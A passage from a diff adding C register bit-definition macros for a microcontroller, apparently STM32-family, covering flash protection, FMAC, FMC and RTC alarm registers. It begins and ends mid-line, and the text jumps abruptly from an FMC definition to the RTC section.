protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define 